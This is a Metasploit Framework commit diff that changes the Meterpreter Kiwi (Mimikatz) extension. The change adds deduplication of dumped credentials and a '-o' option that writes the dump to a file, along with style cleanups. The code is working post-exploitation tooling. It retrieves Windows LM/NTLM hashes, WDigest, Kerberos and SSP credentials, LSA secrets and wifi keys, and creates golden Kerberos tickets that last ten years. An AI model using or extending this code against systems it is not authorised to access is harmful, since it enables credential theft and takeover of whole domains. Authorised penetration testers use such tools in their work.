Land #5706, Kiwi creds_* -o write to file
commit
f6cdbb65dd
|
@ -2,6 +2,7 @@
|
|||
|
||||
require 'rex/post/meterpreter/extensions/kiwi/tlv'
|
||||
require 'rexml/document'
|
||||
require 'set'
|
||||
|
||||
module Rex
|
||||
module Post
|
||||
|
@ -283,9 +284,12 @@ class Kiwi < Extension
|
|||
request.add_tlv(TLV_TYPE_KIWI_PWD_ID, pwd_id)
|
||||
response = client.send_request(request)
|
||||
|
||||
# keep track of unique entries
|
||||
uniques = Set.new
|
||||
|
||||
results = []
|
||||
response.each(TLV_TYPE_KIWI_PWD_RESULT) do |r|
|
||||
results << {
|
||||
result = {
|
||||
:username => r.get_tlv_value(TLV_TYPE_KIWI_PWD_USERNAME),
|
||||
:domain => r.get_tlv_value(TLV_TYPE_KIWI_PWD_DOMAIN),
|
||||
:password => r.get_tlv_value(TLV_TYPE_KIWI_PWD_PASSWORD),
|
||||
|
@ -294,6 +298,17 @@ class Kiwi < Extension
|
|||
:lm => r.get_tlv_value(TLV_TYPE_KIWI_PWD_LMHASH),
|
||||
:ntlm => r.get_tlv_value(TLV_TYPE_KIWI_PWD_NTLMHASH)
|
||||
}
|
||||
|
||||
# generate a "unique" set identifier based on the domain/user/pass. We
|
||||
# don't use the whole object because the auth hi/low might be different
|
||||
# but everything else might be the same. Join with non-printable, as this
|
||||
# can't appear in passwords anyway.
|
||||
set_id = [result[:domain], result[:username], result[:password]].join("\x01")
|
||||
|
||||
# only add to the result list if we don't already have it
|
||||
if uniques.add?(set_id)
|
||||
results << result
|
||||
end
|
||||
end
|
||||
|
||||
return results
|
||||
|
|
|
@ -26,7 +26,7 @@ class Console::CommandDispatcher::Kiwi
|
|||
# Name for this dispatcher
|
||||
#
|
||||
def name
|
||||
"Kiwi"
|
||||
'Kiwi'
|
||||
end
|
||||
|
||||
#
|
||||
|
@ -46,10 +46,9 @@ class Console::CommandDispatcher::Kiwi
|
|||
print_line(" '#####' Ported to Metasploit by OJ Reeves `TheColonial` * * */")
|
||||
print_line
|
||||
|
||||
if (client.platform =~ /x86/) and (client.sys.config.sysinfo['Architecture'] =~ /x64/)
|
||||
|
||||
if client.platform =~ /x86/ and client.sys.config.sysinfo['Architecture'] =~ /x64/
|
||||
print_line
|
||||
print_warning "Loaded x86 Kiwi on an x64 architecture."
|
||||
print_warning('Loaded x86 Kiwi on an x64 architecture.')
|
||||
end
|
||||
end
|
||||
|
||||
|
@ -58,19 +57,19 @@ class Console::CommandDispatcher::Kiwi
|
|||
#
|
||||
def commands
|
||||
{
|
||||
"creds_wdigest" => "Retrieve WDigest creds",
|
||||
"creds_msv" => "Retrieve LM/NTLM creds (hashes)",
|
||||
"creds_livessp" => "Retrieve LiveSSP creds",
|
||||
"creds_ssp" => "Retrieve SSP creds",
|
||||
"creds_tspkg" => "Retrieve TsPkg creds",
|
||||
"creds_kerberos" => "Retrieve Kerberos creds",
|
||||
"creds_all" => "Retrieve all credentials",
|
||||
"golden_ticket_create" => "Create a golden kerberos ticket",
|
||||
"kerberos_ticket_use" => "Use a kerberos ticket",
|
||||
"kerberos_ticket_purge" => "Purge any in-use kerberos tickets",
|
||||
"kerberos_ticket_list" => "List all kerberos tickets",
|
||||
"lsa_dump" => "Dump LSA secrets",
|
||||
"wifi_list" => "List wifi profiles/creds"
|
||||
'creds_wdigest' => 'Retrieve WDigest creds',
|
||||
'creds_msv' => 'Retrieve LM/NTLM creds (hashes)',
|
||||
'creds_livessp' => 'Retrieve LiveSSP creds',
|
||||
'creds_ssp' => 'Retrieve SSP creds',
|
||||
'creds_tspkg' => 'Retrieve TsPkg creds',
|
||||
'creds_kerberos' => 'Retrieve Kerberos creds',
|
||||
'creds_all' => 'Retrieve all credentials',
|
||||
'golden_ticket_create' => 'Create a golden kerberos ticket',
|
||||
'kerberos_ticket_use' => 'Use a kerberos ticket',
|
||||
'kerberos_ticket_purge' => 'Purge any in-use kerberos tickets',
|
||||
'kerberos_ticket_list' => 'List all kerberos tickets',
|
||||
'lsa_dump' => 'Dump LSA secrets',
|
||||
'wifi_list' => 'List wifi profiles/creds'
|
||||
}
|
||||
end
|
||||
|
||||
|
@ -80,7 +79,7 @@ class Console::CommandDispatcher::Kiwi
|
|||
def cmd_lsa_dump(*args)
|
||||
check_privs
|
||||
|
||||
print_status("Dumping LSA secrets")
|
||||
print_status('Dumping LSA secrets')
|
||||
lsa = client.kiwi.lsa_dump
|
||||
|
||||
# the format of this data doesn't really lend itself nicely to
|
||||
|
@ -142,24 +141,24 @@ class Console::CommandDispatcher::Kiwi
|
|||
# Valid options for the golden ticket creation functionality.
|
||||
#
|
||||
@@golden_ticket_create_opts = Rex::Parser::Arguments.new(
|
||||
"-h" => [ false, "Help banner" ],
|
||||
"-u" => [ true, "Name of the user to create the ticket for" ],
|
||||
"-i" => [ true, "ID of the user to associate the ticket with" ],
|
||||
"-g" => [ true, "Comma-separated list of group identifiers to include (eg: 501,502)" ],
|
||||
"-d" => [ true, "Name of the target domain (FQDN)" ],
|
||||
"-k" => [ true, "krbtgt domain user NTLM hash" ],
|
||||
"-t" => [ true, "Local path of the file to store the ticket in" ],
|
||||
"-s" => [ true, "SID of the domain" ]
|
||||
'-h' => [ false, 'Help banner' ],
|
||||
'-u' => [ true, 'Name of the user to create the ticket for' ],
|
||||
'-i' => [ true, 'ID of the user to associate the ticket with' ],
|
||||
'-g' => [ true, 'Comma-separated list of group identifiers to include (eg: 501,502)' ],
|
||||
'-d' => [ true, 'Name of the target domain (FQDN)' ],
|
||||
'-k' => [ true, 'krbtgt domain user NTLM hash' ],
|
||||
'-t' => [ true, 'Local path of the file to store the ticket in' ],
|
||||
'-s' => [ true, 'SID of the domain' ]
|
||||
)
|
||||
|
||||
#
|
||||
# Output the usage for the ticket listing functionality.
|
||||
#
|
||||
def golden_ticket_create_usage
|
||||
print(
|
||||
"\nUsage: golden_ticket_create [-h] -u <user> -d <domain> -k <krbtgt_ntlm> -s <sid> -t <path> [-i <id>] [-g <groups>]\n\n" +
|
||||
"Create a golden kerberos ticket that expires in 10 years time.\n\n" +
|
||||
@@golden_ticket_create_opts.usage)
|
||||
print_line('Usage: golden_ticket_create [options]')
|
||||
print_line
|
||||
print_line('Create a golden kerberos ticket that expires in 10 years time.')
|
||||
print_line(@@golden_ticket_create_opts.usage)
|
||||
end
|
||||
|
||||
#
|
||||
|
@ -181,19 +180,19 @@ class Console::CommandDispatcher::Kiwi
|
|||
|
||||
@@golden_ticket_create_opts.parse(args) { |opt, idx, val|
|
||||
case opt
|
||||
when "-u"
|
||||
when '-u'
|
||||
user = val
|
||||
when "-d"
|
||||
when '-d'
|
||||
domain = val
|
||||
when "-k"
|
||||
when '-k'
|
||||
tgt = val
|
||||
when "-t"
|
||||
when '-t'
|
||||
target = val
|
||||
when "-i"
|
||||
when '-i'
|
||||
id = val.to_i
|
||||
when "-g"
|
||||
when '-g'
|
||||
group_ids = val.split(',').map { |g| g.to_i }.to_a
|
||||
when "-s"
|
||||
when '-s'
|
||||
sid = val
|
||||
end
|
||||
}
|
||||
|
@ -207,7 +206,7 @@ class Console::CommandDispatcher::Kiwi
|
|||
ticket = client.kiwi.golden_ticket_create(user, domain, sid, tgt, id, group_ids)
|
||||
|
||||
::File.open( target, 'wb' ) do |f|
|
||||
f.write ticket
|
||||
f.write(ticket)
|
||||
end
|
||||
|
||||
print_good("Golden Kerberos ticket written to #{target}")
|
||||
|
@ -217,26 +216,26 @@ class Console::CommandDispatcher::Kiwi
|
|||
# Valid options for the ticket listing functionality.
|
||||
#
|
||||
@@kerberos_ticket_list_opts = Rex::Parser::Arguments.new(
|
||||
"-h" => [ false, "Help banner" ],
|
||||
"-e" => [ false, "Export Kerberos tickets to disk" ],
|
||||
"-p" => [ true, "Path to export Kerberos tickets to" ]
|
||||
'-h' => [ false, 'Help banner' ],
|
||||
'-e' => [ false, 'Export Kerberos tickets to disk' ],
|
||||
'-p' => [ true, 'Path to export Kerberos tickets to' ]
|
||||
)
|
||||
|
||||
#
|
||||
# Output the usage for the ticket listing functionality.
|
||||
#
|
||||
def kerberos_ticket_list_usage
|
||||
print(
|
||||
"\nUsage: kerberos_ticket_list [-h] [-e <true|false>] [-p <path>]\n\n" +
|
||||
"List all the available Kerberos tickets.\n\n" +
|
||||
@@kerberos_ticket_list_opts.usage)
|
||||
print_line('Usage: kerberos_ticket_list [options]')
|
||||
print_line
|
||||
print_line('List all the available Kerberos tickets.')
|
||||
print_line(@@kerberos_ticket_list_opts.usage)
|
||||
end
|
||||
|
||||
#
|
||||
# Invoke the kerberos ticket listing functionality on the target machine.
|
||||
#
|
||||
def cmd_kerberos_ticket_list(*args)
|
||||
if args.include?("-h")
|
||||
if args.include?('-h')
|
||||
kerberos_ticket_list_usage
|
||||
return
|
||||
end
|
||||
|
@ -244,13 +243,13 @@ class Console::CommandDispatcher::Kiwi
|
|||
# default to not exporting
|
||||
export = false
|
||||
# default to the current folder for dumping tickets
|
||||
export_path = "."
|
||||
export_path = '.'
|
||||
|
||||
@@kerberos_ticket_list_opts.parse(args) { |opt, idx, val|
|
||||
case opt
|
||||
when "-e"
|
||||
when '-e'
|
||||
export = true
|
||||
when "-p"
|
||||
when '-p'
|
||||
export_path = val
|
||||
end
|
||||
}
|
||||
|
@ -261,7 +260,7 @@ class Console::CommandDispatcher::Kiwi
|
|||
fields << 'Export Path' if export
|
||||
|
||||
table = Rex::Ui::Text::Table.new(
|
||||
'Header' => "Kerberos Tickets",
|
||||
'Header' => 'Kerberos Tickets',
|
||||
'Indent' => 0,
|
||||
'SortIndex' => 0,
|
||||
'Columns' => fields
|
||||
|
@ -280,7 +279,7 @@ class Console::CommandDispatcher::Kiwi
|
|||
|
||||
# write out each ticket to disk if export is enabled.
|
||||
if export
|
||||
path = "<no data retrieved>"
|
||||
path = '<no data retrieved>'
|
||||
if t[:raw]
|
||||
id = "#{values[0]}-#{values[1]}".gsub(/[\\\/\$ ]/, '-')
|
||||
file = "kerb-#{id}-#{Rex::Text.rand_text_alpha(8)}.tkt"
|
||||
|
@ -305,7 +304,7 @@ class Console::CommandDispatcher::Kiwi
|
|||
#
|
||||
def cmd_kerberos_ticket_purge(*args)
|
||||
client.kiwi.kerberos_ticket_purge
|
||||
print_good("Kerberos tickets purged")
|
||||
print_good('Kerberos tickets purged')
|
||||
end
|
||||
|
||||
#
|
||||
|
@ -313,7 +312,7 @@ class Console::CommandDispatcher::Kiwi
|
|||
#
|
||||
def cmd_kerberos_ticket_use(*args)
|
||||
if args.length != 1
|
||||
print_line("Usage: kerberos_ticket_use ticketpath")
|
||||
print_line('Usage: kerberos_ticket_use ticketpath')
|
||||
return
|
||||
end
|
||||
|
||||
|
@ -325,25 +324,13 @@ class Console::CommandDispatcher::Kiwi
|
|||
|
||||
print_status("Using Kerberos ticket stored in #{target}, #{ticket.length} bytes")
|
||||
client.kiwi.kerberos_ticket_use(ticket)
|
||||
print_good("Kerberos ticket applied successfully")
|
||||
end
|
||||
|
||||
def wifi_list_usage
|
||||
print(
|
||||
"\nUsage: wifi_list\n\n" +
|
||||
"List WiFi interfaces, profiles and passwords.\n\n")
|
||||
print_good('Kerberos ticket applied successfully')
|
||||
end
|
||||
|
||||
#
|
||||
# Dump all the wifi profiles/credentials
|
||||
#
|
||||
def cmd_wifi_list(*args)
|
||||
# if any arguments are specified, then fire up a usage message
|
||||
if args.length > 0
|
||||
wifi_list_usage
|
||||
return
|
||||
end
|
||||
|
||||
results = client.kiwi.wifi_list
|
||||
|
||||
if results.length > 0
|
||||
|
@ -362,24 +349,39 @@ class Console::CommandDispatcher::Kiwi
|
|||
table << [p[:name], p[:auth], p[:key_type], p[:shared_key]]
|
||||
end
|
||||
|
||||
print_line table.to_s
|
||||
print_line "State: #{r[:state]}"
|
||||
print_line(table.to_s)
|
||||
print_line("State: #{r[:state]}")
|
||||
end
|
||||
else
|
||||
print_line
|
||||
print_error("No wireless profiles found on the target.")
|
||||
print_error('No wireless profiles found on the target.')
|
||||
end
|
||||
|
||||
print_line
|
||||
return true
|
||||
end
|
||||
|
||||
@@creds_opts = Rex::Parser::Arguments.new(
|
||||
'-o' => [ true, 'Write the output to the specified file.' ],
|
||||
'-h' => [ false, 'Help menu.' ]
|
||||
)
|
||||
|
||||
#
|
||||
# Displays information about the various creds commands
|
||||
#
|
||||
def cmd_creds_usage(provider)
|
||||
print_line("Usage: creds_#{provider} [options]")
|
||||
print_line
|
||||
print_line("Dump #{provider} credentials.")
|
||||
print_line(@@creds_opts.usage)
|
||||
end
|
||||
|
||||
#
|
||||
# Dump all the possible credentials to screen.
|
||||
#
|
||||
def cmd_creds_all(*args)
|
||||
method = Proc.new { client.kiwi.all_pass }
|
||||
scrape_passwords("all", method)
|
||||
scrape_passwords('all', method, args)
|
||||
end
|
||||
|
||||
#
|
||||
|
@ -387,7 +389,7 @@ class Console::CommandDispatcher::Kiwi
|
|||
#
|
||||
def cmd_creds_wdigest(*args)
|
||||
method = Proc.new { client.kiwi.wdigest }
|
||||
scrape_passwords("wdigest", method)
|
||||
scrape_passwords('wdigest', method, args)
|
||||
end
|
||||
|
||||
#
|
||||
|
@ -395,7 +397,7 @@ class Console::CommandDispatcher::Kiwi
|
|||
#
|
||||
def cmd_creds_msv(*args)
|
||||
method = Proc.new { client.kiwi.msv }
|
||||
scrape_passwords("msv", method)
|
||||
scrape_passwords('msv', method, args)
|
||||
end
|
||||
|
||||
#
|
||||
|
@ -403,7 +405,7 @@ class Console::CommandDispatcher::Kiwi
|
|||
#
|
||||
def cmd_creds_livessp(*args)
|
||||
method = Proc.new { client.kiwi.livessp }
|
||||
scrape_passwords("livessp", method)
|
||||
scrape_passwords('livessp', method, args)
|
||||
end
|
||||
|
||||
#
|
||||
|
@ -411,7 +413,7 @@ class Console::CommandDispatcher::Kiwi
|
|||
#
|
||||
def cmd_creds_ssp(*args)
|
||||
method = Proc.new { client.kiwi.ssp }
|
||||
scrape_passwords("ssp", method)
|
||||
scrape_passwords('ssp', method, args)
|
||||
end
|
||||
|
||||
#
|
||||
|
@ -419,7 +421,7 @@ class Console::CommandDispatcher::Kiwi
|
|||
#
|
||||
def cmd_creds_tspkg(*args)
|
||||
method = Proc.new { client.kiwi.tspkg }
|
||||
scrape_passwords("tspkg", method)
|
||||
scrape_passwords('tspkg', method, args)
|
||||
end
|
||||
|
||||
#
|
||||
|
@ -427,22 +429,22 @@ class Console::CommandDispatcher::Kiwi
|
|||
#
|
||||
def cmd_creds_kerberos(*args)
|
||||
method = Proc.new { client.kiwi.kerberos }
|
||||
scrape_passwords("kerberos", method)
|
||||
scrape_passwords('kerberos', method, args)
|
||||
end
|
||||
|
||||
protected
|
||||
|
||||
def check_privs
|
||||
if system_check
|
||||
print_good("Running as SYSTEM")
|
||||
print_good('Running as SYSTEM')
|
||||
else
|
||||
print_warning("Not running as SYSTEM, execution may fail")
|
||||
print_warning('Not running as SYSTEM, execution may fail')
|
||||
end
|
||||
end
|
||||
|
||||
def system_check
|
||||
unless (client.sys.config.getuid == "NT AUTHORITY\\SYSTEM")
|
||||
print_warning("Not currently running as SYSTEM")
|
||||
unless client.sys.config.is_system?
|
||||
print_warning('Not currently running as SYSTEM')
|
||||
return false
|
||||
end
|
||||
|
||||
|
@ -459,7 +461,12 @@ protected
|
|||
# Meterpreter that lay in the house that Jack built.
|
||||
#
|
||||
# @return [void]
|
||||
def scrape_passwords(provider, method)
|
||||
def scrape_passwords(provider, method, args)
|
||||
if args.include?('-h')
|
||||
cmd_creds_usage(provider)
|
||||
return
|
||||
end
|
||||
|
||||
check_privs
|
||||
print_status("Retrieving #{provider} credentials")
|
||||
accounts = method.call
|
||||
|
@ -468,24 +475,40 @@ protected
|
|||
'Header' => "#{provider} credentials",
|
||||
'Indent' => 0,
|
||||
'SortIndex' => 0,
|
||||
'Columns' =>
|
||||
[
|
||||
'Domain', 'User', 'Password', 'Auth Id', 'LM Hash', 'NTLM Hash'
|
||||
'Columns' => [
|
||||
'Domain', 'User', 'Password', 'LM Hash', 'NTLM Hash'
|
||||
]
|
||||
)
|
||||
|
||||
accounts.each do |acc|
|
||||
table << [
|
||||
acc[:domain] || "",
|
||||
acc[:username] || "",
|
||||
acc[:password] || "",
|
||||
"#{acc[:auth_hi]} ; #{acc[:auth_lo]}",
|
||||
to_hex(acc[:lm] || ""),
|
||||
to_hex(acc[:ntlm] || "")
|
||||
acc[:domain] || '',
|
||||
acc[:username] || '',
|
||||
acc[:password] || '',
|
||||
to_hex(acc[:lm]),
|
||||
to_hex(acc[:ntlm])
|
||||
]
|
||||
end
|
||||
|
||||
print_line table.to_s
|
||||
output = table.to_s
|
||||
print_line(output)
|
||||
|
||||
# determine if a target file path was passed in
|
||||
file_index = args.index('-o')
|
||||
unless file_index.nil?
|
||||
if args.length > file_index + 1
|
||||
# try to write the file to disk
|
||||
begin
|
||||
::File.write(args[file_index + 1], output)
|
||||
print_good("Output written to #{args[file_index + 1]}")
|
||||
rescue
|
||||
print_error("Unable to write to #{args[file_index + 1]}")
|
||||
end
|
||||
else
|
||||
print_error('Missing file path for -o parameter')
|
||||
end
|
||||
end
|
||||
|
||||
return true
|
||||
end
|
||||
|
||||
|
@ -496,8 +519,7 @@ protected
|
|||
# @param (see Rex::Text.to_hex)
|
||||
# @return [String] The result of {Rex::Text.to_hex}, strip'd
|
||||
def to_hex(value, sep = '')
|
||||
value ||= ""
|
||||
Rex::Text.to_hex(value, sep).strip
|
||||
Rex::Text.to_hex(value || '', sep).strip
|
||||
end
|
||||
|
||||
end
|
||||
|
|
Loading…
Reference in New Issue